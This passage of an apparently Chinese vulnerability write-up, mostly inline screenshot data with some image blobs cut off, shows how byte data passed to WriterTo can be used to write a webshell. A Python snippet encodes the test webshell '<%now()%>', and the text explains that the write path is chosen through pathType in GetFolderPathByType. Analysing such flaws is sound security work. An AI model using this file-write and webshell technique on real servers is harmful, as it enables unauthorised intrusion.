<p blockindex=27><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=28>会直接将byte类型直接通过<code>WriterTo</code>写入,所以可以用python生成一个webshell的字节数据</p>
|
||||
<pre blockindex=29><code class="hljs language-php">webshell = <span class=hljs-string>'<%now()%>'</span>
|
||||
<span class=hljs-keyword>print</span>(str([ord(x) <span class=hljs-keyword>for</span> x in webshell]).replace(<span class=hljs-string>' '</span>, <span class=hljs-string>''</span>))
|
||||
</code></pre>
|
||||
<p blockindex=30><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=31>然后在看写入的路径</p>
|
||||
<p blockindex=32><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=33>写入的路径是通过传入的<code>pathType</code>决定的,在<code>GetFolderPathByType</code>中定义了<code>pathType</code>的值对应的路径</p>
|
||||
<p blockindex=34><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAmkAAAHTCAIAAADzqhgLAAAgAElEQVR4nO3dP6gkSX7g8eybMeZu0C6s4NAMQ4uWHDVIyFoogazi4MrbkVV7xvRDVjIPRLf10Dk9zHO0lNWNoIayRDIsyNOcV3JSzsG9Q9bBguAKbtDVQyNHEivxVu00e0bchGLiX0ZkRkZmRn0/NE2+qMiIqOrX7/d+kb/KevT48ePK7WH19P27v/F06OH3fvLb/+OPfxbSGH5679EGUifyT2rt2flSWHv6Gzu/9M8e+zRDJuqn93MPWbzrdHHcb+VjLCn8le9cxhivZ4jhL2bI8lJ9sw08N/+/+3g/Q+D37tQLSOD3fvLb4kD7hzfbtRbxpfhZqZ3e+9tIncIc1nPKhN+1gb+OiIPeL8u0T1AcyDXIADnqr2I9vhkWRPuxKw5CnmDv7yV5ovpiWhu1/lXXDwHX6Yv4dx/4fxP95I6dyX9n9PzepP1kNI9FB+uvYL3Xo00a/nN51Ogi/w9X7h8uISMMeVnCO7t+3FhXG/IUci7eM+8kP9r8/+4DY4OkxSH/ub0THev/FNd/H2tot/4QcK1kKf/u4a8nUTahjtiZfMM2J+t/J7Nb8m+jqF8283wTu35g